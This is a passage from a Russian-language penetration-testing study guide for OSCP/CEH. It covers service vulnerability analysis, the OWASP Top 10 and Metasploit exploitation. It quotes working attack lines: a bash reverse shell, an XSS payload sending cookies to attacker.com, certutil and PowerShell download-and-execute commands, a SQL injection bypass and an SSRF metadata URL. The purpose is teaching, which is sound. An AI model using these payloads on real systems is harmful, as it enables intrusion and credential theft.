  • Поиск известных уязвимостей (CVE/NVD). Сопоставление баннера службы (Banner Grabbing) с базами данных эксплойтов.
  • Анализ конфигурации. Поиск слабых паролей, дефолтных настроек и небезопасных методов взаимодействия, которые не считаются «багами» в коде, но позволяют скомпрометировать систему.
  • Точность идентификации: проблема баннеров

    Многие службы намеренно искажают свои баннеры (Banner Spoofing) для введения атакующего в заблуждение. Например, администратор может настроить Apache так, чтобы он представлялся как IIS. Если вы будете искать эксплойты только по строке приветствия, вы зайдете в тупик.

    Для верификации версии необходимо использовать косвенные признаки:

  • Поведение протокола. Разные версии SSH по-разному реагируют на специфические запросы или некорректные пакеты.
  • Специфические файлы. Наличие /manager/html однозначно указывает на Apache Tomcat, даже если заголовок Server изменен.
  • Тайминги. Время отклика системы на определенные типы запросов может выдать версию ядра или библиотеки.
  • Поиск и приоритизация уязвимостей через CVE и Exploit-DB

    Центральным элементом анализа является работа с реестром CVE (Common Vulnerabilities and Exposures). Каждая запись CVE — это уникальный идентификатор уязвимости. Однако для пентестера CVE — это лишь отправная точка. Нам нужен PoC (Proof of Concept) — рабочий код, доказывающий возможность эксплуатации.

    Работа с локальными и онлайн-базами

    Для эффективного поиска в арсенале должны быть:

  • Searchsploit. Утилита командной строки для поиска по локальной копии Exploit-DB. Важно помнить, что searchsploit ищет по строгому вхождению строк. Если вы ищете SMB 3.1.1, попробуйте также SMB 3 или Microsoft Windows SMB.
  • NVD (National Vulnerability Database). Позволяет оценить критичность через метрики CVSS. На экзаменах типа OSCP это помогает понять, стоит ли тратить время на уязвимость с низким баллом, если рядом есть «критика».
  • GitHub и Packet Storm. Часто самые свежие эксплойты (0-day или недавно опубликованные) появляются именно там, прежде чем попасть в официальные базы.
  • > Важно понимать разницу между уязвимостью и эксплойтом. Уязвимость — это слабое место в защите (дыра в заборе), а эксплойт — это инструмент или метод, позволяющий этой слабостью воспользоваться (лестница, чтобы перелезть через эту дыру). > > Определение NIST

    Глубокий анализ протокола SMB (порты 139, 445)

    Server Message Block (SMB) — это «золотая жила» для пентестера во внутренних сетях Windows. Огромное количество критических уязвимостей (от MS08-067 до EternalBlue) связано именно с ним.

    Верификация уязвимостей SMB

    При анализе SMB мы ищем две вещи: ошибки в коде и ошибки в правах доступа.

  • Null Sessions (Анонимный вход). Проверка возможности подключения без логина и пароля. Если это разрешено, мы можем перечислить пользователей, общие папки и политики паролей.
  • - Инструмент: enum4linux -a <IP> или rpcclient -U "" <IP>.
  • SMB Signing. Если подпись сообщений не обязательна (Disabled/Not Required), система уязвима к атакам типа SMB Relay. Это критический вектор для захвата сессий в локальной сети.
  • - Верификация: nmap --script smb-security-mode <IP>.

    Кейс: Дилемма EternalBlue (CVE-2017-0144)

    Предположим, сканер показал наличие уязвимости MS17-010. На реальном пентесте или экзамене неосторожный запуск эксплойта может привести к «синему экрану смерти» (BSOD) на целевой машине. Безопасная верификация: Использование вспомогательных модулей Metasploit (например, auxiliary/scanner/smb/smb_ms17_010), которые проверяют наличие уязвимости путем отправки специфических пакетов, не вызывая переполнения буфера и падения системы.

    Анализ служб удаленного управления: RDP, SSH, VNC

    Службы удаленного доступа — это прямые точки входа. Здесь анализ смещается от поиска багов в коде к анализу механизмов аутентификации.

    Remote Desktop Protocol (RDP, порт 3389)

    Помимо знаменитой уязвимости BlueKeep (CVE-2019-0708), позволяющей удаленное выполнение кода (RCE) без авторизации, RDP часто уязвим к:
  • NLA (Network Level Authentication) Bypass. В старых системах можно дойти до окна логина, что позволяет проводить брутфорс.
  • RDP Security Layer. Проверка, поддерживает ли сервер шифрование SSL/TLS. Если используется только базовое RDP-шифрование, трафик можно перехватить и расшифровать.
  • Secure Shell (SSH, порт 22)

    SSH считается безопасным, но его слабые места кроются в конфигурации:
  • Аутентификация по паролю. Профессиональный стандарт требует ключей. Если разрешен парольный вход, это вектор для атаки по словарю.
  • Алгоритмы обмена ключами. Использование устаревших алгоритмов (например, diffie-hellman-group1-sha1) позволяет проводить атаки типа Man-in-the-Middle.
  • Banner Grabbing. SSH-баннер часто выдает точную версию ОС (например, Debian-5ubuntu1.1), что сужает круг поиска специфических локальных уязвимостей после получения доступа.
  • Уязвимости баз данных: MSSQL, MySQL, PostgreSQL

    Базы данных редко выставляются наружу, но во внутренней сети они становятся приоритетной целью. Основной вектор здесь — слабая конфигурация и дефолтные учетные записи.

    Microsoft SQL Server (порт 1433)

    Ключевая цель при анализе MSSQL — проверка возможности выполнения системных команд через процедуру xp_cmdshell.
  • Поиск пустых паролей. Часто учетная запись sa (system administrator) имеет пустой пароль или пароль, совпадающий с именем пользователя.
  • Верификация через Nmap. Скрипт ms-sql-config может показать, включена ли процедура xp_cmdshell. Если она включена, пентестер получает RCE с правами службы (часто NETWORK SERVICE или LocalSystem).
  • MySQL и PostgreSQL (порты 3306, 5432)

    Здесь анализ часто фокусируется на возможности чтения/записи файлов на диск сервера. Например, в MySQL функция LOAD_FILE() позволяет читать /etc/passwd, а SELECT ... INTO OUTFILE — записывать веб-шелл в директорию сайта, если у пользователя базы есть соответствующие права в ОС.

    Верификация веб-сервисов на нестандартных портах

    Часто критические уязвимости скрываются не на 80-м порту, а на «забытых» портах управления: 8080 (Proxy/Tomcat), 8443 (Plesk), 10000 (Webmin).

    Анализ HTTP-методов

    Одной из недооцененных уязвимостей является поддержка небезопасных методов HTTP, таких как PUT или DELETE.
  • Метод PUT. Если он разрешен без авторизации, атакующий может просто загрузить свой исполняемый файл (например, .php или .aspx) на сервер.
  • Верификация. Использование curl -v -X OPTIONS http://target.com покажет список разрешенных методов. Если в списке есть PUT, следующим шагом будет попытка загрузки тестового текстового файла.
  • Анализ интерфейсов управления

    Многие сетевые устройства (роутеры, принтеры, IP-камеры) имеют веб-интерфейсы с учетными данными по умолчанию (admin:admin, root:root). В рамках подготовки к OSCP важно иметь под рукой базу данных дефолтных паролей для различных вендоров (Cisco, HP, Linksys).

    Математика вероятности успеха: CVSS и контекст

    При анализе векторов атаки важно правильно интерпретировать оценку сложности эксплуатации в метрике CVSS. Формула базового балла CVSS учитывает вектор атаки (), сложность атаки () и требуемые привилегии ().

    Где:

  • (Attack Vector): Если значение Network, уязвимость доступна удаленно.
  • (Attack Complexity): Низкая сложность означает наличие публичного эксплойта «нажми на кнопку».
  • (Privileges Required): None — самая опасная ситуация, не требующая логина.
  • Для пентестера уязвимость с баллом () может быть гораздо привлекательнее, чем (), если во втором случае требуется сложная гонка сигналов (Race Condition), которая может уронить сервер.

    Ложные срабатывания (False Positives) и их фильтрация

    Автоматические сканеры уязвимостей (Nessus, OpenVAS) часто ошибаются. Они видят версию ПО и предполагают наличие уязвимости, не учитывая, что администратор мог применить Backporting.

    > Backporting — это практика (особенно в дистрибутивах типа Debian или RHEL), когда исправления безопасности из новых версий ПО переносятся в старые версии, которые поставляются с дистрибутивом. В итоге версия выглядит уязвимой, но патч в ней уже есть.

    Как верифицировать вручную:

  • Проверка контрольных сумм. Сравнение хешей подозрительных библиотек.
  • Интерактивная проверка. Попытка вызвать специфическую ошибку, которая была исправлена в патче. Если ошибка воспроизводится — система уязвима.
  • Анализ логов. Если после попытки верификации в логах целевой системы не появилось записей о доступе, возможно, перед вами IPS/WAF, который имитирует открытый порт или версию.
  • Построение дерева атаки (Attack Tree)

    После анализа всех служб пентестер формирует логические цепочки. Редко когда одна уязвимость дает полный контроль. Обычно это серия шагов:

  • Шаг 1. Анонимное перечисление SMB-пользователей.
  • Шаг 2. Брутфорс пароля одного из пользователей (например, user:user123).
  • Шаг 3. Вход через RDP с полученными данными.
  • Шаг 4. Поиск локальной уязвимости для повышения привилегий.
  • Этот процесс называется Chaining (связывание). При подготовке к экзаменам важно не зацикливаться на одном векторе. Если эксплойт для службы X не работает, нужно быстро переключиться на анализ службы Y.

    Инструментарий верификации: за пределами Metasploit

    Хотя Metasploit предлагает удобные модули check, профессионал должен уметь верифицировать уязвимости вручную. Это критично для OSCP, где использование Metasploit сильно ограничено.

  • Netcat (nc). Универсальный инструмент для ручного взаимодействия с протоколами. Позволяет отправить произвольный HTTP-запрос или проверить реакцию SMTP-сервера на команду EXPN.
  • Python/Ruby/Perl. Часто эксплойты с Exploit-DB требуют доработки (изменение IP-адресов, путей, полезной нагрузки). Умение прочитать код эксплойта и понять, что именно он делает — обязательный навык.
  • Wireshark/Tcpdump. Наблюдение за тем, как целевая система отвечает на ваши пакеты, помогает понять, почему эксплойт не срабатывает (например, соединение сбрасывается брандмауэром).
  • Логика атакующего: поиск «точки входа»

    Завершая анализ, пентестер должен ответить на вопрос: «Какой вектор дает наиболее стабильный и высокопривилегированный доступ?».

    Приоритетность обычно выглядит так:

  • RCE без авторизации. (Например, EternalBlue или уязвимости в веб-приложениях).
  • Утечка учетных данных. (Конфигурационные файлы, анонимный доступ к БД).
  • Слабые пароли на критических службах. (SSH, RDP, MSSQL).
  • RCE с низкими привилегиями. (Требует последующего этапа Privilege Escalation).
  • Анализ уязвимостей — это не просто поиск дыр, это интеллектуальная игра, где вы должны предвидеть реакцию системы и уметь подтвердить свои догадки без ущерба для стабильности целевой инфраструктуры. Каждый открытый порт — это вопрос, а ваша задача на этом этапе — найти на него аргументированный ответ, подкрепленный фактами и проверенными данными.

    4. Атаки на веб-приложения: глубокий разбор критических рисков по классификации OWASP Top 10

    Атаки на веб-приложения: глубокий разбор критических рисков по классификации OWASP Top 10

    Представьте, что вы обнаружили поле ввода на сайте крупной корпорации, которое не просто принимает текст, а исполняет ваши команды непосредственно в базе данных или на сервере. Одна неверно экранированная кавычка отделяет публичную страницу от полной компрометации данных миллионов пользователей. В мире современного пентестинга веб-приложения являются наиболее доступной и в то же время наиболее сложной поверхностью атаки. Согласно статистике, более успешных взломов начинаются именно с эксплуатации уязвимостей в веб-интерфейсах. Для соискателя сертификации OSCP или CEH понимание логики OWASP Top 10 — это не просто знание списка ошибок, а фундамент для построения векторов атак в условиях ограниченного времени экзамена.

    Философия OWASP и иерархия рисков

    Open Web Application Security Project (OWASP) — это не контролирующий орган, а глобальное сообщество, которое формирует стандарты безопасности. Их флагманский проект, OWASP Top 10, представляет собой консенсус экспертов о наиболее критических рисках безопасности веб-приложений. Важно понимать, что этот список ранжируется не только по распространенности уязвимостей, но и по их потенциальному воздействию и простоте эксплуатации.

    Для пентестера этот список служит дорожной картой. Если при сканировании сетевого периметра вы обнаружили открытые порты 80 (HTTP) или 443 (HTTPS), ваша следующая задача — определить, какие технологии используются на бэкенде (PHP, Python, Node.js) и как они обрабатывают пользовательский ввод. Каждая категория OWASP Top 10 требует специфического набора инструментов и, что более важно, специфического мышления.

    Нарушение контроля доступа (Broken Access Control)

    В актуальной редакции рейтинга эта категория занимает первое место. Суть уязвимости заключается в том, что приложение позволяет пользователю выполнять действия, выходящие за рамки его полномочий. Это может быть доступ к чужим личным данным, изменение настроек других пользователей или получение прав администратора.

    Горизонтальное и вертикальное перемещение

    В контексте контроля доступа мы выделяем два основных вектора:

  • Horizontal Privilege Escalation (Горизонтальное повышение привилегий): Атакующий получает доступ к ресурсам пользователя с тем же уровнем прав. Например, пользователь с ID=105 меняет параметр в URL на ID=106 и видит чужую корзину покупок.
  • Vertical Privilege Escalation (Вертикальное повышение привилегий): Обычный пользователь получает доступ к функциям администратора. Это часто происходит из-за того, что проверка прав осуществляется только на стороне клиента (скрытие кнопки в UI), но не дублируется на сервере.
  • > Небезопасные прямые ссылки на объекты (IDOR) являются классическим примером нарушения контроля доступа. Если приложение доверяет идентификатору, присланному клиентом, без проверки прав владения этим объектом, оно уязвимо. > > OWASP Top 10:2021-Broken Access Control

    Рассмотрим ситуацию на экзамене OSCP. Вы нашли панель управления по адресу /admin. При попытке зайти вас перенаправляет на /login. Однако, используя Burp Suite, вы замечаете, что сервер сначала отдает полный контент админ-панели с кодом 200 OK, а затем JavaScript на стороне браузера выполняет редирект. Это типичный пример "Insecure Direct Object Reference" в сочетании с плохой реализацией логики доступа. Игнорируя редирект в прокси-сервере, вы получаете доступ к функционалу без авторизации.

    Криптографические сбои (Cryptographic Failures)

    Ранее известная как "Sensitive Data Exposure", эта категория фокусируется на защите данных при передаче и хранении. Ошибки здесь часто связаны не с взломом самих алгоритмов (например, AES), а с их неправильным внедрением.

    Типичные ошибки реализации

  • Передача данных по открытым каналам: Использование HTTP вместо HTTPS или передача чувствительных токенов в GET-параметрах, которые логируются сервером.
  • Слабые алгоритмы хеширования: Использование MD5 или SHA1 для хранения паролей. Для пентестера это означает, что добытый дамп базы данных будет расшифрован за считанные минуты с помощью Rainbow-таблиц или GPU-перебора.
  • Отсутствие "соли" (Salt): Если два пользователя имеют одинаковый пароль "password123", их хеши в базе будут идентичны, что упрощает массовый взлом.
  • При аудите веб-приложения необходимо проверять заголовки безопасности, такие как Strict-Transport-Security (HSTS). Если он отсутствует, атакующий может провести атаку SSL Stripping, принудительно переведя соединение жертвы на незащищенный протокол HTTP и перехватив сессионные куки.

    Инъекции (Injection)

    Инъекции долгое время удерживали лидерство и остаются одной из самых опасных зон. Суть инъекции — смешивание данных пользователя с программным кодом или командами интерпретатора.

    SQL-инъекции (SQLi)

    Это классика жанра. Когда ввод пользователя вставляется напрямую в SQL-запрос, атакующий может изменить логику этого запроса.

    Рассмотрим уязвимый код на PHP: _GET['user'] . "';";

    Если атакующий введет ' OR '1'='1, запрос превратится в: SELECT * FROM users WHERE username = '' OR '1'='1'; Условие '1'='1' всегда истинно, и сервер вернет данные всех пользователей, что часто позволяет обойти механизм аутентификации.

    В практике пентеста мы разделяем SQLi на несколько типов:

  • In-band (Error-based или Union-based): Результат виден сразу в ответе сервера.
  • Inferential (Blind SQLi): Сервер не выводит данные напрямую, но по его косвенной реакции (разное содержимое страницы или задержка ответа) можно "вытянуть" информацию по одному биту.
  • Out-of-band: Данные отправляются на внешний сервер под контролем атакующего (например, через DNS или HTTP запросы из БД).
  • Командные инъекции (OS Command Injection)

    Это "святой грааль" для участника OSCP. Если веб-приложение вызывает системные функции (например, system(), exec(), passthru()) и передает туда нефильтрованный ввод, вы можете получить полноценный шелл.

    Пример: скрипт для проверки доступности хоста через ping. Ввод: 8.8.8.8 ; whoami Если приложение выполнит это в консоли Linux, точка с запятой разделит команды, и сервер сначала выполнит ping, а затем команду whoami, выдав имя пользователя, под которым запущен веб-сервер (обычно www-data). Путь отсюда до Reverse Shell крайне короток: 8.8.8.8 ; bash -i >& /dev/tcp/10.10.10.10/4444 0>&1.

    Небезопасный дизайн (Insecure Design)

    Эта категория появилась в 2021 году и подчеркивает разницу между "небезопасной реализацией" и "небезопасным проектированием". Даже если код написан идеально с точки зрения синтаксиса, сама логика процесса может быть порочной.

    Примером может служить механизм восстановления пароля, который задает пользователю слишком простые вопросы (например, "Ваш любимый цвет"), ответы на которые легко найти через OSINT. Или система бронирования билетов, которая не ограничивает количество запросов с одного IP, позволяя ботам выкупать все места за секунды. Здесь пентестер должен выступать в роли "злого архитектора", ища изъяны в самой бизнес-логике приложения.

    Ошибки конфигурации безопасности (Security Misconfiguration)

    Это самая обширная категория, включающая в себя всё: от стандартных паролей до избыточного вывода ошибок.

    Примеры из практики

  • Стандартные учетные данные: Доступ к /admin с логином admin и паролем password или admin. Инструменты вроде Burp Suite Intruder с базовыми словарями — ваши лучшие друзья здесь.
  • Листинг директорий: Если сервер настроен неверно, при запросе папки (например, /uploads/) он может выдать список всех файлов в ней. Это часто приводит к утечке исходного кода, конфигураций или бэкапов.
  • Подробные сообщения об ошибках: Stack trace, выведенный прямо в браузер при неверном запросе, может раскрыть версии библиотек, пути к файлам в системе и даже фрагменты кода.
  • Для автоматизации поиска таких проблем используются сканеры вроде Nikto или специализированные модули Nmap (http-enum). Однако ручная проверка файлов robots.txt, .git, .env часто приносит больше результатов.

    Уязвимые и устаревшие компоненты

    Современное веб-приложение — это конструктор из тысяч библиотек и фреймворков. Если в одной из них (например, в старой версии jQuery или конкретном плагине WordPress) найдена публичная уязвимость (CVE), всё приложение оказывается под угрозой.

    В сценариях CEH часто встречаются задачи на использование Searchsploit для поиска готовых эксплойтов под конкретную версию CMS. Ваша задача как пентестера — провести тщательный фингерпринтинг (определение версий) с помощью инструментов типа Wappalyzer или WhatWeb.

    Манипуляции с идентификацией и аутентификацией

    Ранее известная как "Broken Authentication", эта категория описывает проблемы с подтверждением личности пользователя.

    Атаки на сессии

    Сессионные идентификаторы (Session IDs) — это временные ключи от аккаунта. Если они предсказуемы или передаются небезопасно, атакующий может их украсть (Session Hijacking) или зафиксировать (Session Fixation).

  • Предсказуемые ID: Если сервер выдает ID по порядку (1, 2, 3...), вы можете просто подставить следующий номер и войти в чужой аккаунт. Современные системы используют криптографически стойкие генераторы ПСЧ, но в самописных движках или старых системах это всё еще встречается.
  • JWT (JSON Web Tokens): Популярный стандарт токенов. Ошибки здесь включают в себя возможность смены алгоритма подписи на none (сервер перестает проверять подпись) или использование слабого секретного ключа, который можно перебрать брутфорсом с помощью hashcat.
  • Сбои целостности данных и программного обеспечения

    Эта категория касается обновлений ПО, критических данных и CI/CD пайплайнов без проверки целостности. Однако для веб-пентеста наиболее актуальным здесь является подраздел Insecure Deserialization (Небезопасная десериализация).

    Объекты в языках программирования (Java, PHP, Python) часто преобразуются в строку для передачи по сети (сериализация). Если приложение принимает такую строку от пользователя и превращает её обратно в объект (десериализация) без должной проверки, атакующий может создать специальный "магический" объект, который при восстановлении выполнит произвольный код. В PHP это часто связано с методами __wakeup() или __destruct(), в Java — с библиотеками типа Commons Collections.

    Сбои в журналах регистрации и мониторинга

    Эта уязвимость сама по себе не позволяет взломать систему, но она позволяет атакующему оставаться незамеченным. Если приложение не логирует попытки входа, подозрительную активность или ошибки доступа, взлом может длиться месяцами.

    Для этичного хакера это важно с точки зрения написания отчета. Вы должны указать не только на то, что вы смогли войти в систему, но и на то, что ваши действия (например, брутфорс 10 000 паролей) не вызвали никакой реакции со стороны систем мониторинга (IDS/IPS).

    Серверная подделка запроса (SSRF)

    Категория, замыкающая десятку, но крайне важная в облачных инфраструктурах (AWS, Azure, GCP). SSRF возникает, когда атакующий может заставить сервер отправить запрос на произвольный адрес.

    Вектор атаки на внутренние ресурсы

    Представьте веб-приложение, которое скачивает картинку по ссылке: https://site.com/preview?url=http://another.com/img.jpg. Атакующий может заменить URL на внутренний ресурс, недоступный извне: http://localhost:8080/admin или http://169.254.169.254/latest/meta-data/ (адрес метаданных в AWS). В последнем случае сервер может вернуть секретные ключи доступа к облачной инфраструктуре, что приведет к полному захвату всей сети компании.

    Практический инструментарий и методология исследования

    Работа с веб-приложениями требует мастерского владения Burp Suite. Это основной инструмент для перехвата и модификации HTTP-трафика.

  • Proxy: Позволяет видеть каждый запрос и ответ в реальном времени.
  • Repeater: Позволяет изменять параметры запроса и отправлять его повторно, наблюдая за реакцией сервера. Это критически важно при поиске SQLi или SSRF.
  • Intruder: Инструмент для автоматизации. Брутфорс паролей, перебор названий файлов, фаззинг параметров — всё это делается здесь.
  • Decoder: Быстрое преобразование данных из URL-encode, Base64 или Hex.
  • Алгоритм тестирования (Checklist)

    Приступая к веб-части экзамена OSCP, следуйте структуре:

  • Разведка (Enumeration): Запустите Gobuster или ffuf для поиска скрытых страниц. Используйте WhatWeb для определения стека технологий.
  • Анализ параметров: Найдите все точки ввода данных (формы, URL-параметры, заголовки вроде User-Agent или X-Forwarded-For).
  • Проверка на инъекции: Попробуйте вставить спецсимволы (', ", ;, |, <>) и следите за изменением ответов.
  • Тестирование доступа: Создайте двух пользователей (если возможно) и проверьте, может ли один получить доступ к данным другого.
  • Анализ конфигурации: Проверьте наличие стандартных страниц (/phpinfo.php, /server-status) и файлов конфигурации.
  • Глубинный анализ: Cross-Site Scripting (XSS)

    Хотя в новой редакции OWASP XSS поглощена категорией "Injection", её важность трудно переоценить. XSS — это инъекция скрипта на сторону клиента (в браузер пользователя).

    Различают три типа:

  • Stored (Хранимая): Скрипт сохраняется в базе данных сервера (например, в комментарии) и исполняется у каждого, кто откроет страницу. Это самый опасный тип.
  • Reflected (Отраженная): Скрипт передается в параметре запроса и сразу же "отражается" на странице. Требует взаимодействия с жертвой (нужно заставить человека кликнуть по ссылке).
  • DOM-based: Уязвимость находится полностью в клиентском коде JavaScript, который небезопасно обрабатывает данные из URL без обращения к серверу.
  • Типичная цель XSS в пентесте — кража сессионных куки: <script>fetch('http://attacker.com/steal?cookie=' + document.cookie);</script> Если на куки не установлен флаг HttpOnly, вы получите полный доступ к сессии пользователя.

    Замыкание вектора атаки

    Понимание OWASP Top 10 превращает хаотичные попытки взлома в системный процесс. На экзамене уровня OSCP вы редко встретите одну изолированную уязвимость. Чаще это цепочка (Chaining): через Security Misconfiguration вы находите старую версию плагина, в котором есть SQL Injection, позволяющая извлечь хеш пароля администратора. Затем, используя Cryptographic Failures (слабый хеш), вы расшифровываете пароль, заходите в админку и через Command Injection в функции загрузки аватара получаете Reverse Shell.

    Каждая категория — это дверь. Ваша задача как профессионала — знать, какой ключ подходит к какому замку, и всегда помнить, что безопасность веб-приложения определяется его самым слабым звеном.

    5. Эксплуатация уязвимостей: автоматизация с Metasploit Framework и разработка кастомных эксплойтов

    Эксплуатация уязвимостей: автоматизация с Metasploit Framework и разработка кастомных эксплойтов

    Когда разведка завершена, порты отсканированы, а версии сервисов сопоставлены с известными уязвимостями в базах CVE, наступает критический момент — переход от теории к действию. Эксплуатация (Exploitation) — это процесс доставки и выполнения кода, который использует программную ошибку для изменения логики работы целевой системы. В арсенале современного пентестера этот этап балансирует между использованием мощных комбайнов автоматизации и ювелирной подгонкой кода под конкретную среду.

    Архитектура и философия Metasploit Framework

    Metasploit Framework (MSF) — это не просто база данных эксплойтов, а модульная экосистема, которая стандартизирует процесс атаки. Для подготовки к OSCP важно понимать, что MSF — это «черный ящик», использование которого на экзамене сильно ограничено (разрешено только один раз для одной цели). Однако для CEH и реальной работы это основной инструмент, позволяющий не тратить время на написание обвязки для передачи полезной нагрузки.

    Структура фреймворка строится на разделении ответственности между компонентами:

  • Exploits: Модули, использующие конкретную уязвимость (например, переполнение буфера или инъекцию) для внедрения кода. Они отвечают за «пробитие» защиты.
  • Payloads: Код, который выполняется на целевой системе после успешной эксплуатации. В MSF они делятся на три типа:
  • * Singles: Самодостаточные модули (например, добавление пользователя). * Stagers: Маленькие фрагменты кода, задача которых — установить стабильное соединение и загрузить основной компонент. * Stages: Тяжелые компоненты (например, Meterpreter), загружаемые стейджером.
  • Auxiliary: Вспомогательные модули для сканирования, фаззинга, DoS-атак или сбора данных без прямой эксплуатации.
  • Post: Модули для действий после получения доступа (сбор хешей, перечисление сети).
  • Encoders/Nops: Инструменты для обхода простых сигнатур антивирусов и выравнивания кода в памяти.
  • Ключевое преимущество MSF — абстракция. Вам не нужно знать, как именно упакован сетевой пакет для эксплуатации EternalBlue, вам достаточно настроить параметры RHOSTS (адрес цели) и PAYLOAD.

    Механика работы с Meterpreter

    Meterpreter — это продвинутая полезная нагрузка, работающая исключительно в оперативной памяти (in-memory). Она не создает новых процессов на диске, внедряясь в уже существующие (например, explorer.exe или services.exe), что делает её крайне трудной для обнаружения классическими антивирусами.

    В отличие от обычного командного интерпретатора (Shell), Meterpreter предоставляет расширенный API: * migrate: Переход в другой процесс для обеспечения стабильности. * hashdump: Извлечение базы данных SAM или файлов NTDS в Windows. * load kiwi: Загрузка модуля Mimikatz прямо в память для работы с паролями. * portfwd: Проброс портов из внутренней сети жертвы на машину атакующего.

    Автоматизация атаки: от поиска до сессии

    Процесс автоматизации в MSF начинается с базы данных. Интеграция с PostgreSQL позволяет сохранять результаты сканирования Nmap прямо в проект. Команда db_import или прямое сканирование через db_nmap создает фундамент, по которому можно искать подходящие модули командой search.

    При выборе модуля критически важно обращать внимание на колонку Rank. * Excellent: Эксплойт стабилен, не вызывает «падения» сервиса (например, SQL-инъекции или Command Injection). * Great/Good: Возможны проблемы с памятью, есть риск вызвать BSOD (Blue Screen of Death) в Windows или Kernel Panic в Linux. * Manual: Требует ручной настройки смещений или специфических условий.

    Разбор кейса: Эксплуатация уязвимого сервиса через MSF

    Рассмотрим ситуацию: в ходе сканирования обнаружен старый сервер с запущенным сервисом Rejection-Free Mail Server.

  • Поиск: search rejection-free. Находим модуль exploit/windows/smtp/rejection_free_bof.
  • Настройка:
  • Проверка: Команда check (если поддерживается модулем) позволяет узнать, уязвима ли цель, не отправляя основной эксплойт. Это золотой стандарт этичного хакинга — минимизация шума и риска обрушения системы.
  • Запуск: exploit -j. Флаг -j запускает атаку в фоновом режиме (job), что удобно при работе с несколькими целями.
  • Важным нюансом является выбор между staged и non-staged полезными нагрузками. * windows/meterpreter/reverse_tcp (со слешем) — это staged. Сначала летит маленький загрузчик, потом докачивается остальное. Это может быть заблокировано системами IPS/IDS из-за подозрительного второго этапа загрузки. * windows/meterpreter_reverse_tcp (с подчеркиванием) — это non-staged (Inline). Весь код летит одним пакетом. Это надежнее в сетях с жесткой фильтрацией трафика, но размер пакета значительно больше, что может не подойти для эксплойтов с ограниченным буфером памяти.

    Разработка кастомных эксплойтов: когда автоматизация бессильна

    На экзамене OSCP или в реальном пентесте вы часто столкнетесь с ситуацией, когда готового модуля в Metasploit не существует или он не работает из-за специфических настроек системы. В этом случае необходимо уметь адаптировать публичные эксплойты из Exploit-DB или писать свои.

    Анализ и адаптация кода (PoC)

    Большинство публичных эксплойтов — это Proof of Concept (PoC), написанные на Python, Ruby или C. Они часто содержат «заглушки» или специфические пути, которые нужно изменить.

    Основные этапы адаптации:

  • Идентификация точки входа: Где именно происходит переполнение или инъекция? Это может быть заголовок HTTP, поле ввода логина или специфический параметр в бинарном протоколе.
  • Расчет смещения (Offset): Если мы имеем дело с переполнением буфера, нам нужно знать точное количество байт, которое необходимо отправить, чтобы перезаписать регистр EIP (Extended Instruction Pointer) в 32-битных системах или RIP в 64-битных.
  • * Используем msf-pattern_create -l 500 для генерации уникальной строки. * После падения программы в отладчике (например, x64dbg или GDB) смотрим значение регистра и находим смещение через msf-pattern_offset.
  • Поиск "плохих" символов (Bad Chars): Многие протоколы не принимают определенные байты. Например, \x00 (null byte) часто обрывает строку, а \x0d\x0a (CRLF) завершает команду в протоколах типа HTTP или FTP. Если ваш шелл-код содержит такие байты, эксплойт не сработает.
  • Генерация шелл-кода: Используем msfvenom.
  • Параметр -b как раз исключает плохие символы, заставляя msfvenom использовать энкодеры (например, shikata_ga_nai).

    Модернизация скриптов: пример с переполнением буфера

    Представим, что у нас есть Python-скрипт для атаки на уязвимый сервис. Его структура обычно выглядит так:

    В этом примере критически важен выбор jmp_esp. Мы не можем просто вставить адрес нашего шелл-кода, так как адреса в стеке меняются. Мы ищем адрес стабильной системной библиотеки (например, kernel32.dll или essfunc.dll), где есть инструкция «прыжка» на стек. Это позволяет процессору начать исполнение кода там, где лежит наш шелл-код.

    Взаимодействие с современными защитными механизмами

    Автоматизация и кастомные эксплойты сегодня сталкиваются с тремя основными препятствиями:

  • ASLR (Address Space Layout Randomization): Рандомизация адресов памяти. Решается либо поиском модулей, скомпилированных без ASLR, либо использованием утечек памяти (Memory Leaks) для вычисления базового адреса.
  • DEP/NX (Data Execution Prevention): Запрет на исполнение кода в сегментах данных (стек, куча). Обходится с помощью техники ROP (Return Oriented Programming), когда мы не выполняем свой код, а собираем цепочку из «гаджетов» — маленьких фрагментов уже существующего кода в легитимных библиотеках, заканчивающихся инструкцией RET.
  • AV/EDR (Antivirus / Endpoint Detection and Response): Поведенческий анализ. Здесь автоматизация Metasploit часто проигрывает. Для обхода требуется использование кастомных загрузчиков (Loaders), написанных на языках низкого уровня (C/C++) или современных системных языках (Nim, Rust, Go), которые используют прямые системные вызовы (Syscalls) вместо стандартных API Windows.
  • Управление сессиями и многоуровневая атака

    После успешного выполнения эксплойта вы получаете сессию. В Metasploit работа с ними ведется через команду sessions.

    > Важный инсайт: одна сессия — это плацдарм, а не победа.

    Профессиональный пентестер всегда стремится к «апгрейду» сессии. Если вы получили обычный командный шелл через netcat, его можно превратить в сессию Meterpreter, используя модуль post/multi/manage/shell_to_meterpreter. Это открывает доступ к автоматизированным инструментам пост-эксплуатации.

    Передача файлов и выполнение кода без MSF

    В условиях OSCP вам часто придется обходиться без Metasploit. Это требует навыков использования альтернативных методов доставки эксплойтов: * Certutil: Встроенная утилита Windows, позволяющая скачивать файлы: certutil -urlcache -f http://10.10.14.2/exploit.exe exploit.exe. * PowerShell: IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.2/script.ps1') — выполнение скрипта прямо в памяти без записи на диск. * Python/PHP/Perl: Использование однострочников для создания реверс-шелла на Linux-системах.

    Этика и стабильность при эксплуатации

    Стадия эксплуатации — самая рискованная. Ошибка в кастомном эксплойте может привести к: * Остановке критического бизнес-процесса. * Порче данных в базе при некорректной SQL-инъекции. * Блокировке учетных записей при автоматизированном переборе.

    Перед запуском любого эксплойта, будь то модуль MSF или скрипт с GitHub, необходимо проанализировать его код на наличие деструктивных функций (например, rm -rf / или команд форматирования диска), которые иногда вставляют «шутники» в публичные PoC. Профессионал всегда сначала тестирует эксплойт в локальной лаборатории, максимально приближенной к среде заказчика.

    В контексте подготовки к сертификации, такой как OSCP, умение читать чужой код и понимать, как именно он взаимодействует с памятью или протоколом, ценится выше, чем умение нажимать кнопку exploit. Автоматизация — это способ ускорить рутину, но понимание логики атаки — это то, что позволяет пробивать нестандартные цели.

    6. Методы повышения привилегий в операционных системах Linux и Windows

    Методы повышения привилегий в операционных системах Linux и Windows

